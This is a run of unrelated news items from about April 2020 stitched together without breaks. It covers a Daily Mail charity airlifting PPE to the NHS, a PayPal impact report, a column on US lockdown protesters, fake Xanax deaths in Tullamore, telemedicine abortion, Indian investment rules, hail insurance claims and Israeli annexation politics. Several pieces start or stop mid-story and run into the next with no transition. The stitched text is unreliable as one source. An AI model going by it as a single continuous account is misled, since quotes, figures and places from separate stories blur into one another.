it should not be all on the Governments shoulders, Mr Wace tells me. Everybody should do what they can to help. That is why Marshall Wace was eager to support Mail Force. What we have learned in the last two weeks is that it is extremely difficult to source PPE and that there is a global shortage of PPE. He also hopes to encourage a much greater focus on the way in which limited resources can be deployed with optimum results. Can we make our existing stocks and any that are sourced go further than we have managed to date? This is not a financial question, but one about there simply not being the available supplies. Before buying so much as a bedpan, of course, it was vital to establish the most pressing need among the troops. If the NHS is the Army, out in the field, then the Department of Health is like the Ministry of Defence sourcing kit. Whole new procurement teams have been created from other departments. We spoke to everyone from the Health Secretary, Matt Hancock, and the chief executive of NHS England, Sir Simon Stevens, down to those at the sharp end. We explored the detailed list of PPE specifications laid down by Public Health England (although our mission applies to the whole UK). The message was clear. Any supplies of isolation gowns were a top priority along with what are known as coveralls. These are the all-in-one suits (with hoods) which are now used alongside gowns, following a swift change in NHS policy. They look more like something out of a sci-fi nightmare but do the job of a gown just as well. One gown or coverall can be used for a whole shift as long as gloves and aprons are changed between patients. The other imperative was masks, particularly Type IIR and Type II surgical masks. Workers load 20 tons of vital coveralls and masks worth over 1 million onto the plane. They're fresh from China and destined straight for the Covid-19 frontline today There had been more than enough grim tales of faulty products to make us extremely wary of buying anything on spec. Among the recent horrors was a Spanish hospital where the entire staff had to undergo coronavirus tests thanks to a batch of sub-standard masks. The other day, two jets chartered by the Canadian government flew all the way to China for supplies, found none were ready and then had to fly home empty. The fleet of vans which will be rushing the Daily Mail's badly needed PPE medical equipment to doctors and nurses on the NHS front line My recurring nightmare in recent weeks has been of a hospital opening a box of precious masks or gowns to find a consignment of plastic ducks or fireworks. Nor did we want to go charging into the market only to find ourselves bidding against the NHS. So, every order has been cross-checked with Whitehall; all certificates and test reports have been scrutinised by the experts. Only then could goods be ordered and sent to the airportto a customs warehouse. And so it was that the first lorryloads of coveralls and masks set off from two factories in western China for Shanghai at the end of last week. As I write, we are sourcing more of them, in a number of different places subject, of course, to the nod from the medical inspectorate. Much as we all like to knock lifes box-tickers, these are boxes which are ticked with good reason. We fully accept that our contribution is hardly going to solve a crisis of this magnitude, especially in the middle of a global shortage. However, when we add in our generous partners and the great British public, led by all those Mail readers who have stepped forward to help on so many occasions, we have every confidence that we really can make a difference. Shortly before the plane (pictured) landed at Heathrow, Mr Hancock told the Downing Street press briefing that the Government had been moving heaven and earth to get the amount of PPE that we need to the frontline With your help, Mail Force can despatch more planes and gradually nudge our great national flag carrier that is the NHS away from the rocks. Yes, we can all wag our fingers and tell our public servants to do better. There will be time enough for that. But, at a time like this, they could also do with our help. Why this kit is so vital for NHS... and how, to our shame, the UK's trailed the world by Eleanor Hayward Health Reporter for The Daily Mail When coronavirus first arrived in Britain three months ago, unnerving pictures showed paramedics dressed in hazmat suits visiting the homes of suspected cases. The sight of medical personnel on streets clad head to toe in protective gear was a terrifying novelty, symbolising the deadly new threat facing the country. But few people anticipated that such protective equipment or rather the lack of it would itself go on to become a defining controversy of the pandemic. Personal protective equipment (PPE) consists of gowns, coveralls, masks, visors and gloves. Some variation of it must be worn by anyone who comes into contact with an infected patient to protect their own lives and to prevent them from passing the deadly disease on to others. But ever since hospitals started to fill up with coronavirus patients in March, supplies of vital PPE have been running critically low in hospitals and care homes across the country. Doctors say they feel like lambs to the slaughter as they have no choice but to treat patients without adequate protection, with shortages blamed for contributing to the deaths of NHS workers. The sight of medical personnel on streets clad head to toe in protective gear was a terrifying novelty, symbolising the deadly new threat facing the country So far, at least 134 staff working in health and social care have died from coronavirus and several grieving families have blamed the loss of their loved one on a lack of PPE. Replenishing PPE stocks has become one of the Governments biggest challenges and Health Secretary Matt Hancock said he is moving heaven and earth to meet the huge challenge. The NHS is getting through hundreds of thousands of PPE items daily, including around 150,000 fluid-repellent gowns. Under current guidelines, anyone who comes within two metres of a suspected coronavirus patient should wear some form protection, including care home staff, ambulance workers, nurses and GPs. This includes protective surgical masks, such as the type flown in last night by the Daily Mail. Doctors and nurses working in high-risk areas such as intensive care, who may be exposed to airborne droplets, must wear the highest level of protection. There are no national statistics for the amount of PPE used by the NHS every day but the Government says it has distributed 14million items a day on average. United Lincolnshire Hospitals NHS Trust released figures last week showing it uses 72,000 items a day. All the sourcing of PPE equipment has followed careful checks with the NHS and the Department of Health to ensure that all items are approved, with urgent priority being given to fluid-resistant isolation gowns, coveralls and surgical masks Shortages of full-length waterproof gowns have been particularly acute in recent weeks. This prompted Public Health England to revise down standards, allowing doctors and nurses to treat coronavirus patients wearing only plastic aprons for protection. Professor Andrew Goddard, president of the Royal College of Physicians, said: Coveralls are just as good as gowns at protecting doctors from the virus. But he also warned that the desperate shortages mean one in four doctors have had to reuse PPE items, which should be disposed of after each use. Ministers have so far laid the blame on international shortages.However, questions remain about why the UK appears to have fared worse than other countries. The Government has come under fire for lack of preparation and, on Monday, a probe revealed that officials failed to buy enough gowns when setting up an emergency stockpile in 2009. A contingency planning exercise in 2016 highlighted the lack of stocks. The Government has also been criticised for making false promises, including the shipment of 400,000 gowns from Turkey which then faced numerous delays. Yesterday, the Prime Ministers spokesman said securing more PPE is at the top of his agenda. He added: We have been working to secure gowns and other PPE from across the globe, and domestically, for a number of months. Q&A by Eleanor Hayward, Health Reporter for The Daily Mail Why do we need PPE? Coronavirus is spread through tiny droplets released when somebody coughs or exhales. Anyone who is in close contact with a coronavirus patient needs to ensure there is a barrier between them, the patient and any infected surfaces. The virus enters the body through the eyes, nose and mouth, so it is particularly vital to cover these areas. Who has to wear it? Personal protective equipment, or PPE, should be worn by anyone who comes within two metres of a suspected coronavirus patient. This includes doctors, nurses, paramedics, care home workers and GP receptionists but the level of PPE required depends on where they work. In high-risk areas such as intensive care, staff need tight-fitting FFP3 respirator masks which guard against water droplets that could contain the virus as well as full-length body protection. In lower-risk settings, such as GP surgeries, guidelines state that a basic mask, disposable plastic apron and gloves are sufficient. How much do we need? Last week a single hospital trusts figures revealed it was using 72,000 items a day. The Government says it has already delivered one billion pieces of PPE to the NHS but as most of this is single-use, stocks must be replenished on a rolling basis. Why is there a shortage? Supplies are stretched across the world due to unprecedented demand and a Daily Mail investigation found new businesses masquerading as healthcare suppliers are inflating prices by up to 1,000 per cent. The Government is sourcing most supplies from abroad, with the majority of manufacturers based in China, but some British firms claim their offers of help were ignored. You can help fix PPE crisis: A 11am yesterday, Britain stopped in mournful silence to mark pandemic's appalling fatal toll on our NHS heroes. It's a powerful reminder why YOUR donations towards more airlifts of protective equipment really could be all the difference between life and death... By Arthur Martin and Claire Duffin for the Daily Mail Today the Daily Mail is appealing to its army of readers to support a mercy mission to supply the NHS with vital protective gear. The paper has launched an independent charity called Mail Force which is spearheading a campaign to deliver the most desperately needed protective equipment to frontline staff. The Daily Mail is contributing more than 1million to the charity and the first batch of equipment arrived at Heathrow last night. The cost of delivering the personal protection equipment to the NHS is also being covered. It is being delivered by Daily Mail trucks to the NHS central distribution centre and will be distributed to hospitals most in need. Prime Minister Boris Johnson in the Cabinet Room inside 10 Downing Street, London, to observe a minute's silence in a tribute to the NHS staff and key workers who have died during the coronavirus outbreak Private benefactors have pledged millions to the campaign and Salesforce, a world-leading enterprise technology provider, have pledged to match the Mails donation. Mail Force will pay for more batches of personal protection to be flown into the UK in the coming days. But because of the unprecedented scale of the crisis, more donations are desperately needed to protect NHS staff and care workers fighting the pandemic. Every donation to Mail Force, no matter how small, will be spent on masks, gowns, and coveralls which the NHS and care workers so urgently needs. If there is any money left over, the charity will use it to support the NHS and care workers in the best ways it can. The first batch of PPE funded by Mail Force arrived in the UK hours after millions fell silent at 11am to honour the NHS fallen. Doctors and nurses wearing scrubs and face masks lined hospital corridors and car parks to pay tribute to colleagues. In Glasgow, Air Ambulance crew stood together to remember the key workers who have died. Hands clasped and heads bowed, some struggled to hold back tears as they remembered those who have lost their lives to the virus while fighting it on the front line Hands clasped and heads bowed, some struggled to hold back tears as they remembered those who have lost their lives to the virus while fighting it on the front line. London Underground and bus networks in the capital were brought to a halt, with bus drivers standing in front of their vehicles to honour fallen colleagues. In Glasgow, Air Ambulance crew stood together to remember the key workers who have died. Outside Salford Royal Hospital, NHS staff wiped away tears as they gathered for the moment of reflection. Boris Johnson observed the minutes silence at Downing Street. He wrote on Twitter afterwards: This morning I took part in a minutes silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you. The minutes silence held on International Workers Memorial Day was organised by Unison union, the Royal College of Midwives and the Royal College of Nursing (RCN). Dame Donna Kinnair, RCN chief executive and general secretary, said she was heartened to hear how many people had taken part but called for urgent action to better protect staff and prevent further loss of life. London Underground and bus networks in the capital were brought to a halt, with bus drivers standing in front of their vehicles to honour fallen colleagues Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak NHS staff at Aintree University Hospital observe a minute silence yesterday to pay tribute to NHS workers who have died while helping people with coronavirus. Two of the hospital staff, nurse Liz Glanister and patient discharge planner Barbara Moore, died from coronavirus this month All key workers, healthcare staff among them, must be afforded the greatest protection, she said. So far more than 100 NHS workers and carers have died with the virus. They include consultants, nurses, cleaners, porters and care assistants. Dozens of transport workers, including bus drivers, have also died. Campaigners say lives have been lost because frontline staff have lacked adequate PPE. Among the victims is Dr Abdul Mabud Chowdhury, 53, who died after being diagnosed with coronavirus three weeks after he warned the Prime Minister that health workers urgently needed more protective equipment. Most protective clothing should be worn only once because washing them at temperatures high enough to kill coronavirus weakens their effectiveness. However, a shocking poll by the Royal College of Physicians, reported in the Mail yesterday, found that 27 per cent of doctors were reusing this kit. Senior NHS managers have agreed that the PPE acquired by Mail Force is vital and meets UK healthcare standards. The kit is being flown into the UK using passenger aircraft which are otherwise sitting idle. As yesterdays moving scenes across the land confirmed, the need could not be greater. If you, as one of our loyal army of Daily Mail readers, wish to back this campaign the details of how to donate are printed on the right of this page. Russo noted that the flu runs its course each year because people get vaccinated or have already been exposed none of which applies to this new virus. And while research shows that viruses tend to linger for shorter periods in humidity a point Trump and his health advisers have been stressing in recent days Russo said he doubts summer weather alone will be enough to diminish the need for preventive measures such as social distancing and the widespread use of face masks in public. San Francisco, April 28 : Global digital payment platform PayPal leveraged the power of its giving platform to process $16 billion in contributions in 2019, including over $10 billion in contributions to charitable causes, from more than 40 million people around the world, the company has announced. Releasing its third annual 'Global Impact Report; in COVID-19 times, PayPal said it has taken steps to help more than 24 million merchants impacted by COVID-19, including waiving certain fees and deferring repayments on select business loans. The company said it worked with governments and regulatory agencies to efficiently provide loans to small businesses in the US. "Given the challenges the world is facing as a result of the COVID-19 pandemic, we are committed to supporting the needs of our employees, customers, and communities and helping them navigate this unprecedented time," said Dan Schulman, president and CEO of PayPal. In 2019, the company said more than 43 per cent of employees participated globally in the Kiva lending campaign, empowering over 10,000 entrepreneurs across 36 countries. "We maintained 100 per cent pay equity for women globally and ethnic pay parity in the US for the fourth year in a row, and advocated for inclusive public policies such as signing onto amicus briefs in support of the Deferred Action for Childhood Arrivals (DACA) programme.," said the report. PayPal employees in Mumbai and Chennai undertook initiatives to drive sustainability by volunteering their time and skills to organise clean-up drives, collect e-waste, plant trees and host environmental awareness events. PayPal's total diversity in 2019 was 57 per cent globally, and experienced a 6 per cent year-over-year increase in females in tech roles and 12 per cent increase in ethnic minorities at Director-level roles since 2015. "We matched 65 per cent of the energy in data centers with renewable generation, representing significant progress toward the company's goal of 100 per cent by 2023," said the company. The PayPal platform is currently empowering more than 300 million consumers and merchants in more than 200 markets globally. The Washington Post is providing this news free to all readers as a public service. Follow this story and more by signing up for national breaking news email alerts. Watching those rent-a-mob bands of bearded he-men swaggering around state capitols with their Confederate flags and symbolic AR-15s -- what were they going to shoot at, after all? -- reminded me of a scene in the old Humphrey Bogart and Lauren Bacall movie "Key Largo." Bogart plays a fishing boat captain home from World War II -- a soft-spoken combat veteran visiting the family of one of his soldiers killed during the Italian campaign. Bacall plays the friend's widow, living in a small resort hotel on a remote Florida island. A gangster on the lam, played menacingly by Edward G. Robinson, shows up demanding a boat ride to Cuba. Reflecting a different era's idea of heroism, Bogart's character avoids what he sees as a pointless confrontation with the thug. He has nothing to prove. But then, as a massive hurricane approaches, the tough guy shows signs of panic. "Why don't you point your gun at it?" Bogart deadpans. He can run a fishing boat, see, as the gangster cannot. Just so the hairy-chested protesters in their camo suits. Confronted with a deadly threat they can neither understand nor control, they've taken to playing soldiers. The rest of us are supposed to be intimidated. Which is not to deny that a fool with a gun can be dangerous. But this bunch, in their refusal to deal with the reality of the COVID-19 pandemic, endanger themselves and their families more than anybody else. Although the rest of us would definitely be imperiled should their cartoonish views prevail. In Ohio, a fellow named John W. McDaniel tweeted that COVID-19 was nothing but a "political ploy." On March 15, he denounced Ohio's Republican Gov. Mike DeWine for ordering bars and restaurants closed: "I Say Bull***t! He doesn't have that authority. If you are paranoid about getting sick just don't go out. It shouldn't keep [the rest] of us from Living our Lives." The rest of McDaniel's life was 30 days. He died on April 15 due to complications from the virus. His obituary described him as an "ornery son-of-a-gun and ... often the first to crack a joke no matter the occasion." His family called him a "loving and loyal husband, father, son, brother, uncle and friend ... Johnny McDaniel loved life and loved everyone he knew with his whole heart." He sounds like a terrific fellow, albeit maybe a little bit prone to going off half-cocked. Had he lived, he'd probably have learned. There are thousands out there like him. God bless them, every one. Which isn't the same as saying people should be paying them any mind. Meanwhile, Gov. DeWine, who certainly has both constitutional and statutory authority to shutter public establishments during an infectious epidemic, says he has "full respect" for protesters, but begs them to keep practicing social distancing. "We've won a battle, we've done well," DeWine tweeted on Monday, "but #COVID19 is still out there and most Ohioans are still susceptible to it. The spread concern is still as strong today as it was a month ago." To date, 538 Ohioans have died of COVID-19. So now comes the March of the Toy Soldiers. Look, it'd be one thing for Fox News to tout these jackleg militias as if they represented something politically significant, although they do not. Polls show that anywhere between 60% and 81% of Americans understand and support the need for social distancing. They are heeding the experts. It's quite another to see CNN, NBC, CBS and the rest acting as if the protesters represent anything more than street theater: the Mighty Trump Art Players on display. See, Boss Trump appears to think he's pulled a fast one. First, he claimed "absolute authority" over the nation's governors, saying that he alone would decide when the U.S. economy would reopen for business. He would give orders, and the states would obey. Literally overnight, he did a complete 180. Now he says it's all on the governors. Trump takes no responsibility. Not for testing, nor protective masks, basically for nothing. Next he began tweeting calls for protesters to LIBERATE their states from tyrannical Democrats. The plan is that Trump gets all the credit, while the governors take all the blame. What could possibly go wrong? I fear we're about to find out. Arkansas Times columnist Gene Lyons is a National Magazine Award winner and co-author of "The Hunting of the President" (St. Martin's Press, 2000). You can email Lyons at eugenelyons2@yahoo.com Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Gardai are investigating the possibility that lethal fake drugs purchased on the black market dark web may have led to tragic deaths of at least two people at a homeless hostel in Tullamore. Laois Offaly Gardai are investigating the possibility that at least one other homeless individual may have lost their life in Tullamore from a poisonous batch of illicit Xanax drugs. Gardai have launched an investigation after being called to Clonamore House hostel facility on Monday morning April 27. On arrival, officers discovered the remains of Angela Andrea Kelly, aged 44. She is a native of Portlaoise. The alarm was raised after a man known to her discovered her body. A second woman, Amy Mannix, who is originally from Kerry but had ties to Portlaoise, was subsequently found unresponsive and later died. She was aged in her late teens. A third young man, aged 23, who was also in the house was also found unresponsive. He was taken to the Midland Regional Hospital Tullamore but was fighting for his life in a critical condition at the time of going to press on Monday. He is also from Portlaoise. A fourth man, aged 32, who was a partner to Amy Mannix, and who also discovered the remains of Angela Kelly, took ill on Monday morning and was removed to Tullamore hospital on Monday. He was described as being in a critical condition on Monday afternoon but is understood to have a greater chance of survival. He had previously lived in Portlaoise. While a link has yet to be established, Gardai are also investigating a possibility that a man who died at a separate homeless facility in Tullamore the previous week may have lost his life after taking a similar substance. Gardai are examining the possibility that all the victims and those ill had taken a fake Xanax drug on the dark web. Health authorities in Ireland have issued an advisory notice warning people not to buy such substances online. Gardai are keeping an open mind on the cause of death but say there is a common thread of purchasing of illicit substances online. It is also suspected that other drugs may have been taken. There are no signs at this point that the victims had contracted Covid-19. Those affected were residing in a hostel which is privately owned and run but is used to house people who need emergency accommodation. Laois, Offaly and Westmeath county councils all avail of the facility. Gardai are not understood to hold the location in any way responsible for the deaths. All of those who died or who have taken ill were known to gardai and the HSE's addiction service. Garda Chief Superintendent John Scanlon confirmed that gardai are investigating the circumstances. He also had some advice to drug users. Anybody should be very careful taking substances that they do not know of their origins. Anybody who may have taken substances that they are unsure of should make immediate contact with a healthcare professional. We are concerned about people generally because of this development in the drugs trade in the midlands he said. Gardai are liaising with the HSE and CADS, a local community alcohol and drugs support group, in relation to the case. The four people with Laois connections were clients of Laois County Council's homeless section. The council's chief executive John Mulholland extended his sympathies. Laois County Council is deeply saddened and shocked at the news of the tragic loss of life at Clonamore House over the weekend. The Council wishes to convey its sincere sympathy to the families and friends of those who have passed away, he said. Lee, who asked to be identified only by a shortened version of her first name, said the pregnancy had shocked her because she took birth control pills regularly. She decided to terminate the pregnancy because she had recently cut ties with her boyfriend after he was arrested on drug charges, she said. She kept her decision from her family members, who she said were strongly against abortion. And she feared protesters would castigate her if she visited an abortion clinic. No one goes through life saying, Im going to grow up and get an abortion, Lee said. So youre already struggling with that and then to have someone tell you that youre going to hell or that youre killing babies, its horrible. She found carafem, and videoconferenced in her office at lunchtime with a doctor in another state. During such consultations, doctors explain that most women do not experience discomfort from mifepristone, which blocks a hormone necessary for pregnancy to develop. Cramping and bleeding, resembling a heavy period, occur after the expulsion of fetal tissue caused by the second drug, misoprostol, which is taken up to 48 hours later. After several hours, bleeding dwindles but might continue for two weeks. In rare cases, women can develop fevers, infections or extensive bleeding requiring medical attention. Lee received a package marked only with her name and address; it contained the pills, tea bags, peppermints, maxipads, prescription ibuprofen and nausea medication. Just everything you could need, she said. It was so comforting. TelAbortion reports that of the 611 completed abortions documented through April 22, most were accomplished with only the pills and without complications. In 26 cases, aspiration was performed to finish the termination. Dr. Raymond said 46 women went to emergency rooms or urgent care centers with issues that appear just as likely to have occurred if the women had followed the common practice of visiting abortion clinics for consultations, taking the first medication there and the second at home. Two women went before receiving the pills and two before taking them, either because of morning sickness or because they thought they were miscarrying. Fifteen ended up needing no medical treatment. Some were given medicine for pain or nausea. live bse live nse live Volume Todays L/H More By Rudra Kumar Pandey and Anirudh Srinivas The Indian governments recent decision to amend the Foreign Direct Investment Policy and Foreign Exchange Management (Non-Debt Instruments) Rules, 2019, related to investment from India's neighbouring countries under the government approval route has been well documented. This amendment will not just affect foreign investments in India from our neighbouring countries, but may also impact foreign investments from other countries. While such a protectionist measure by the Indian Government has reportedly been in the works for a while, the amendment came on the back of the People's Bank of China raising its stake in HDFC. This move is not unprecedented. India has joined a growing list of countries enforcing measures to protect domestic industries. The European Union, followed by various member states including Germany, France, Italy and Spain, announced measures to protect their companies from foreign takeovers. Elsewhere, such measures have also been introduced by other countries such as Canada, the United Kingdom and Australia. Similarly, late in 2019, Japan had amended its foreign investment law to provide for rigorous screening of foreign investment of more than 1% in specific critical sectors. Japan now proposes to include the drugs and medical equipment industry within the list of critical sectors. In the USA, the Committee of Foreign Investment in the US adopts a sector-specific approach to screening foreign investment. However, the other countries have not linked such restrictions to the sharing of land borders. While the actions of the Indian government are understandable in these trying times, several concerns relating to the implications of the amendment to the Rules have been raised by various stakeholders. For instance, how is the investment by an entity from a neighbouring country controlled by persons outside the neighbouring countries to be treated? Further, the permissibility of foreign investment by a fund set up outside the restricted countries with an asset manager or a general partner controlled by a person incorporated in a neighbouring country also requires clarity. In the absence of any specific guidance on beneficial owner, it would be interesting to know the threshold that may be proposed by the government for this determination. It is to be seen whether the threshold for beneficial owner would be pegged at the 10 percent threshold provided under the Companies Act, 2013; or the controlling threshold provided under the Prevention of Money Laundering Act, 2002, or 15 percent or 25 percent threshold under the RBI KYC guidelines. As the objective is to curb the opportunistic takeovers, it may be appropriate to introduce a threshold for investment beyond which the restrictions may apply. Further, investments in startups, greenfield projects and additional investment in existing subsidiaries in sectors other than those which are strategically important, should be exempted from the applicability of these restrictions. Japan also has screening restrictions for foreign investment beyond 1 percent in identified sectors. India may consider putting in place a similar mechanism. An exception should also be made for the special administrative regions of China, such as Hong Kong and Macau, which have their financial independence and different currencies. Downstream investment by a foreign-owned or controlled Indian company which has minority investment from an entity in a neighbouring country should be exempted from within the scope of the restrictions introduced by the amendment. Downstream investment from internal accruals by an Indian company which is owned or controlled by an entity incorporated in a neighbouring country should also be exempted. It is also unclear if approval process for investment from other neighbouring countries, including China, would be bundled with approval process for investment from Pakistan and Bangladesh, which entail obtaining a security clearance from the Ministry of Home Affairs. Government needs to be mindful that such approval process should not become a bottleneck for foreign investment in to India and should introduce a transparent and fast track process to facilitate all such investments. Various stakeholders, including industry representative bodies, have sought clarifications from the Government, regarding various aspects of the amendment to the Rules. The Government is expected to issue necessary clarifications in the coming weeks and provide clarity on the restrictions introduced in the Rules. The ball is now in the Governments court to protect Indian industry from opportunistic takeovers by Indias neighbours while ensuring that foreign investment into India is not stifled. Rudra Kumar Pandey is Partner, Shardul Amarchand Mangaldas & Co while Anirudh Srinivas is Sr. Associate, Shardul Amarchand Mangaldas & Co. (Views are personal) The incident occurred at 11:55 p.m. Monday in the 0-100 block of West 99th Street in the Fernwood neighborhood on the Far South Side, police said. The officers responded to a ShotSpotter alert in the area and were talking to a witness when a man approached them. DES PLAINES, Ill., April 28, 2020 /PRNewswire/ -- The National Insurance Crime Bureau (NICB) today, released a three-year analysis of insurance claims associated with hail storms in the United States. The report is based on a review of claims data from ISO ClaimSearch during the period of January 1, 2017 through December 31, 2019, totaling 2,769,362 hail loss claims. Hail Storm/Damage B-Roll l Report l Avoid Contractor Fraud Infographic l Top 5 States Infographic l Dataset The top five states for hail loss claims were Texas (637,977), Colorado (380,066), Nebraska (161,374), Minnesota (150,673) and Illinois (150,416). The top five cities for hail loss claims during that period were Omaha, Neb. (54,153); Denver, Colo. (51,887); Colorado Springs, Colo. (38,044); McKinney, Texas (34,134); and Dallas, Texas (25,262). Over the three years covered by this report, May had the highest monthly total for hail loss claims with 621,945 and June was next with 586,749. March (368,885), April (346,214) and July (277,363) round out the top five. Of the five policy types providing hail loss coverage, Personal Property-Homeowners was the most affected with 1,711,094 claims or 62% of the three-year total. It was followed by Personal Auto with 734,985 claims and Personal Property Farm with 153,737 claims. While annual hail damage is generally a function of severe storm frequency and location, what is more predictable is the appearance of unscrupulous contractors "storm chasers"who swoop in promising a quick repair. These unsolicited approaches are red flags as nearly all post-storm repair scams begin with an unsolicited visit to a victim by a repair person. "NICB encourages policyholders to use caution when selecting a contractor or other workers to help repair your property or replace your windshield following a storm," said Brooke Kelley, NICB vice president of communications. "Always check first with your insurance company or agent before signing any documents presented by a contractor whom you did not request to appear. It's why we say, 'If you didn't request it, reject it.'" The following tips are also helpful: Get more than one estimate Don't be pushed into signing a contract right away Get everything in writing Require references and check them out Ask to see the contractor's driver's license and write down the number and the license plate on his or her vehicle More consumer protection information is available in our library of brochures. REPORT FRAUD: Anyone with information concerning insurance fraud or vehicle theft can report it anonymously by calling toll-free 800.TEL.NICB (800.835.6422)or submitting a form on our website. ABOUT THE NATIONAL INSURANCE CRIME BUREAU: Headquartered in Des Plaines, Ill., the NICB is the nation's leading not-for-profit organization exclusively dedicated to preventing, detecting and defeating insurance fraud and vehicle theft through data analytics, investigations, learning and development, government affairs and public affairs. The NICB is supported by more than 1,300 property and casualty insurance companies and self-insured organizations. NICB member companies wrote over $525 billion in insurance premiums in 2019, or more than 82% of the nation's property/casualty insurance. That includes more than 95% ($253 billion) of the nation's personal auto insurance. To learn more visit www.nicb.org. Get the latest on our social pages: Facebook Twitter LinkedIn YouTube Instagram Snapchat Blog SOURCE National Insurance Crime Bureau Related Links http://www.nicb.org This is the second extension in the deadline to submit bids by investors for Air India since it initiated the process of stake sale in the debt-ridden national carrier on January 27. Issuing a corrigendum to the Expression of Interest for sale of Air India, the Department of Investment and Public Asset Management said the deadline has been extended in view of the request received from the IBs (interested bidders) in view ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Amidst lockdown, a 72-year-old Tripura man died while returning home from Chennai, where he was being treated for cancer. Victim Mukul Chandra Dhar was a resident of Kamalpur in Dhalai District of the state, about 80 kilometres from Agartala. He, along with his son Subrata Dhar and one of his relatives, went to Chennai on February 17 this year for treatment at a private hospital. As the lockdown was extended after April 14, they decided to return to Tripura and booked an ambulance for the travel home. On April 25, when they were crossing over to Andhra Pradesh, Mukul Dhar died, said a government official, who was not willing to be named as he was not authorised to speak to the media. Distance between Chennai and Agartala is about 3,000 kilometres. Subrata returned home with his fathers body on the night of April 27, where his last rites were performed. We have asked the two of them, who went to Chennai, to remain in home quarantine for 14 days, said Kamalpur sub-divisional magistrate Sushanta Sarkar. The Tripura government has decided to bring back people of the state, stranded in different parts of the country. As of now, 167 persons have returned back. A few days ago, a couple, too, journeyed over 3,000 kilometres from Chennai to their hometown at Udaipur in Gomati district, 50 kilometres from Agartala. Currently, Tripura has no coronavirus patient. Prime Minister Benjamin Netanyahu and Blue and White Chair Benny Gantz are trying to cobble together a unity government that provides each of the political rivals with veto power over almost every substantive decision or important appointment for the next three years. Gantz, however, gave in to Netanyahu on one particular issue: the prerogative of bringing to a vote, as of July 1, a proposal to annex parts of the West Bank or otherwise impose Israeli sovereignty over all the Jewish settlements there. It is the only issue over which Gantz and his party will have no veto power, and it is one that risks regional conflagration. The prospects of establishing a power-sharing government remain unclear given the complex legislation required to make it happen and the petitions submitted to the Supreme Court challenging the deal. One thing, however, is clear: July 1 is shaping up to be one of the most significant and potentially dangerous dates for the future government as well as for the region. In response to harsh criticism from the political left over the issue of annexation, Gantzs no. 2, Lt. Gen. (res.) Gabi Ashkenazi, argues that Netanyahu at this moment has a Knesset majority to annex West Bank lands. He does not need us to do so, he told Al-Monitor. Ashkenazi also noted that each side in the government would have the same number of ministers and equal authority. [This] will allow us to try and block the decision from within, he continued. Gantz and myself, slated as defense minister and foreign minister, will be members of the Security Cabinet. We will be in touch with the international community, with the Americans, with the states of the region. Netanyahu is a very experienced man, and we will help him understand the tremendous risks that lie in declaring unilateral annexation. We will also hold in-depth discussions of this issue in all relevant forums. If there is a way to block this process, we will find it. A group calling itself Commanders for Israels Security, comprised of hundreds of senior former army officers and security agency officials, have published major ads urging the government to forgo unilateral annexation. On April 23, Foreign Policy magazine ran an editorial by three members of the forum, among them former heads of the Mossad and Shin Bet, headlined Netanyahus Annexation Plan Is a Threat to Israels National Security. While ads and op-eds will not prevent annexation, discourse in the US media could be an important factor in the campaign to scuttle such a move. Senior members of Commanders for Israels Security are not overly hopeful that pledges by Gantz and Ashkenazi to try to block the move using logic, common sense and risk assessments will carry the day. They believe more realistic prospects lie with the quartet of Jordanian King Abdullah II, Israel Defense Forces (IDF) Chief of Staff Lt. Gen. Aviv Kochavi, Military Intelligence chief Tamir Hayman and Shin Bet Director Nadav Argaman. They are not counting too much on Mossad chief Yossi Cohen, who is perceived as a close Netanyahu associate and potential heir and as someone unlikely to sound the alarm against annexation as long as Netanyahu does not want him to do so. Still, Cohen is more independent than people give him credit, and he could end up surprising them. A few more names can be added to the list of influential anti-annexation figures: Democratic presidential candidate Joe Biden and his foreign policy staff and top Pentagon officials intimately familiar with the threat annexing the Jordan Valley poses, for example, to the Jordanian monarchy and to vital Jordan-Israel peace agreement (1994). Then there is President Donald Trump, who could find himself torn between pressure from his Christian evangelical base for immediate annexation by force, and some of his national security advisers, who could issue a stark warning against such a move. Hectic contacts are underway behind the scenes among relevant parties, all of them under the radar and in complete secrecy. Abdullah is determined to prevent annexation and is mobilizing Egyptian President Abdel Fattah al-Sisi to the cause. A dramatic move by these two leaders vis-a-vis the White House could also serve as a game changer. Two other influential regional players should also be taken into consideration: MBS and MBZ, i.e., the Saudi crown prince, Mohammed Bin Salman, and the crown prince of Abu Dhabi, Mohammed Bin Zayed Al Nahyan. The two previously delayed the annexation plan Netanyahu sought to implement last year. If they take advantage of the coronavirus crisis and regional instability to exert pressure on Trump, they would be putting the American president in a tough spot. A four-pronged offensive on Washington by Abdullah, Sisi and the two Gulf leaders could provide a counterbalance to the pressure Trump is likely to experience from his evangelical base, which is committed to Netanyahu, who is committed to annexation. Netanyahu himself addressed American evangelicals by video on April 27 to mark the 100th anniversary of the San Remo Conference, which handed the mandate over Palestine to the British and expressed support for the establishment of a national home for the Jewish people there. In the speech, Netanyahu once again declared his determination to annex within months. The option of presenting an Israeli annexation bill as of July is anchored in the coalition agreement, he told his audience. In addition to the clandestine struggle over annexation, the issue will also be played out in the Israeli domestic arena. Ashkenazi and Gantz, two former IDF chiefs and senior future members of the Security Cabinet, could exert their considerable influence to mobilize additional support for the view that unilateral annexation at this time is a real threat to regional stability and state security. They will need the support of the heads of Israels security and defense agencies. Their first task will be to block a hasty annexation of the kind Netanyahu tried to push through prior to the September 2019 elections. They will demand a series of in-depth Cabinet deliberations for which the IDF chief and other agency heads will present their assessments. Clear warnings about the repercussions of annexation voiced by Kochavi, Hayman and Argaman could provide the tailwind for influencing a linchpin member of the coalition, such as Shas Chair Aryeh Deri, who throughout his long political career has taken some pragmatic and cautious approaches. Cautious contacts on the issue are underway between various Israeli figures and the European Union. Both proponents and opponents of annexation are trying to mobilize support in Europe. According to an April 23 tweet by Channel 13 News correspondent 